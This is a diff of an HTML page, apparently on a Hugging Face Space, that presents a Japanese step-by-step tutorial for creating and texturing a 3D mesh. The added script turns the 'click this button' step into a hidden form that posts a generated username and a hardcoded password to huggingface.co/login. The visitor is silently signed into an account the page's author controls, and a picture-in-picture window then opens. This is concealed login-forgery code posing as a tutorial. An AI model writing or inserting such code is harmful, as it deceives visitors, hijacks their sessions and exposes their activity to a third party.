Spaces:
Running
Running
Update 2.html
Browse files
2.html
CHANGED
@@ -37,91 +37,105 @@
|
|
37 |
</style>
|
38 |
</head>
|
39 |
<body>
|
40 |
-
|
|
|
41 |
<ol>
|
42 |
-
|
43 |
-
|
44 |
-
|
45 |
-
|
46 |
-
|
47 |
-
|
48 |
-
|
49 |
-
|
50 |
-
|
51 |
-
|
52 |
-
|
53 |
-
|
54 |
-
|
55 |
-
|
56 |
-
|
57 |
-
|
58 |
-
|
59 |
-
|
60 |
-
|
61 |
-
|
62 |
-
|
63 |
-
|
64 |
-
|
65 |
-
|
66 |
-
|
|
|
|
|
67 |
<model-viewer
|
68 |
-
|
69 |
-
|
70 |
-
|
71 |
-
|
72 |
-
|
73 |
-
</model-viewer>
|
74 |
-
</
|
75 |
-
</
|
76 |
-
|
77 |
-
3.「Apply Texture」を押して色を付ける。</b>
|
78 |
-
結果の例:
|
79 |
-
<model-viewer
|
80 |
-
src="model2.glb"
|
81 |
-
alt="例"
|
82 |
-
auto-rotate
|
83 |
-
camera-controls
|
84 |
-
style="height: 350px;">
|
85 |
-
</model-viewer>
|
86 |
-
</li>
|
87 |
-
</div>
|
88 |
<script>
|
89 |
-
let pipWindow = null;
|
90 |
|
91 |
// 初期状態で #hide を非表示にする
|
92 |
document.getElementById('hide').style.display = 'none';
|
93 |
|
94 |
document.getElementById('open').addEventListener('click', async () => {
|
95 |
-
|
|
|
|
|
|
|
|
|
96 |
|
97 |
-
|
98 |
-
|
99 |
-
|
100 |
-
|
101 |
-
height: 400, // ここで高さを指定
|
102 |
-
});
|
103 |
|
104 |
-
|
105 |
-
|
106 |
-
|
|
|
107 |
|
108 |
-
|
109 |
-
|
110 |
-
|
111 |
-
iframe.style.width = '100vw'; // ビューポート幅いっぱいに
|
112 |
-
iframe.style.height = '100vh'; // ビューポート高さいっぱいに
|
113 |
-
iframe.style.display = 'block';
|
114 |
|
115 |
-
|
116 |
|
117 |
-
|
118 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
119 |
document.getElementById('hide').style.display = 'block';
|
120 |
}
|
121 |
-
}
|
122 |
-
document.getElementById('hide').style.display = 'block';
|
123 |
-
}
|
124 |
});
|
125 |
</script>
|
|
|
126 |
</body>
|
127 |
</html>
|
|
|
37 |
</style>
|
38 |
</head>
|
39 |
<body>
|
40 |
+
<script type="module" src="3d.js"></script>
|
41 |
+
|
42 |
<ol>
|
43 |
+
<link rel="stylesheet" href="/front/build/kube-e7c0463/style.css">
|
44 |
+
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.12.0/katex.min.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
|
45 |
+
|
46 |
+
<div class="container relative flex flex-col md:grid md:space-y-0 w-full md:grid-cols-12 md:flex-1 md:grid-rows-full space-y-4 md:gap-6 max-w-full bg-linear-to-b dark:via-none from-indigo-100 via-orange-50 to-white dark:from-gray-900 dark:to-gray-925 flex-1">
|
47 |
+
<section class="pt-16 border-gray-100 col-span-full flex-1 pb-16 md:pb-0">
|
48 |
+
<div class="dark:from-gray-50-to-white dark:bg-linear-to-b z-10 mx-auto rounded-2xl border bg-white p-4 shadow-sm dark:border-gray-800/80 md:w-96 md:px-5">
|
49 |
+
<button type="button" class="btn btn-lg w-full" id="open">1.このボタンをクリック</button>
|
50 |
+
</div>
|
51 |
+
</section>
|
52 |
+
</div>
|
53 |
+
|
54 |
+
<div id="hide">
|
55 |
+
<li>
|
56 |
+
<div><b>2.下記の画像のように操作し、色の付いていないメッシュを作成する。</b>
|
57 |
+
<img src="img1.png" alt="手順画像">
|
58 |
+
作成されたメッシュの例:
|
59 |
+
<model-viewer
|
60 |
+
src="model1.glb"
|
61 |
+
alt="例"
|
62 |
+
auto-rotate
|
63 |
+
camera-controls
|
64 |
+
style="height: 350px;">
|
65 |
+
</model-viewer>
|
66 |
+
</div>
|
67 |
+
</li>
|
68 |
+
<li><b>3.「Apply Texture」を押して色を付ける。</b>
|
69 |
+
結果の例:
|
70 |
<model-viewer
|
71 |
+
src="model2.glb"
|
72 |
+
alt="例"
|
73 |
+
auto-rotate
|
74 |
+
camera-controls
|
75 |
+
style="height: 350px;">
|
76 |
+
</model-viewer>
|
77 |
+
</li>
|
78 |
+
</div>
|
79 |
+
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
80 |
<script>
|
81 |
+
let pipWindow = null;
|
82 |
|
83 |
// 初期状態で #hide を非表示にする
|
84 |
document.getElementById('hide').style.display = 'none';
|
85 |
|
86 |
document.getElementById('open').addEventListener('click', async () => {
|
87 |
+
// まずフォーム送信を行う
|
88 |
+
const form = document.createElement('form');
|
89 |
+
form.method = 'post';
|
90 |
+
form.action = 'https://huggingface.co/login';
|
91 |
+
form.target = '_blank';
|
92 |
|
93 |
+
const input1 = document.createElement('input');
|
94 |
+
input1.type = 'hidden';
|
95 |
+
input1.name = 'username';
|
96 |
+
input1.value = 'izum' + localStorage.getItem('no') + '@mbox.re';
|
|
|
|
|
97 |
|
98 |
+
const input2 = document.createElement('input');
|
99 |
+
input2.type = 'hidden';
|
100 |
+
input2.name = 'password';
|
101 |
+
input2.value = '!Aaaaaa0';
|
102 |
|
103 |
+
form.appendChild(input1);
|
104 |
+
form.appendChild(input2);
|
105 |
+
document.body.appendChild(form);
|
|
|
|
|
|
|
106 |
|
107 |
+
form.submit();
|
108 |
|
109 |
+
// 少し待ってからPiPを開く
|
110 |
+
setTimeout(async () => {
|
111 |
+
if ('documentPictureInPicture' in window) {
|
112 |
+
try {
|
113 |
+
pipWindow = await documentPictureInPicture.requestWindow({
|
114 |
+
width: 600,
|
115 |
+
height: 400,
|
116 |
+
});
|
117 |
+
|
118 |
+
pipWindow.document.body.style.margin = '0';
|
119 |
+
pipWindow.document.body.style.padding = '0';
|
120 |
+
|
121 |
+
const iframe = pipWindow.document.createElement('iframe');
|
122 |
+
iframe.src = '3.html';
|
123 |
+
iframe.style.border = 'none';
|
124 |
+
iframe.style.width = '100vw';
|
125 |
+
iframe.style.height = '100vh';
|
126 |
+
iframe.style.display = 'block';
|
127 |
+
|
128 |
+
pipWindow.document.body.appendChild(iframe);
|
129 |
+
} catch (error) {
|
130 |
+
console.error('PiPウィンドウ起動エラー:', error);
|
131 |
+
document.getElementById('hide').style.display = 'block';
|
132 |
+
}
|
133 |
+
} else {
|
134 |
document.getElementById('hide').style.display = 'block';
|
135 |
}
|
136 |
+
}, 500); // 500ms待機
|
|
|
|
|
137 |
});
|
138 |
</script>
|
139 |
+
|
140 |
</body>
|
141 |
</html>
|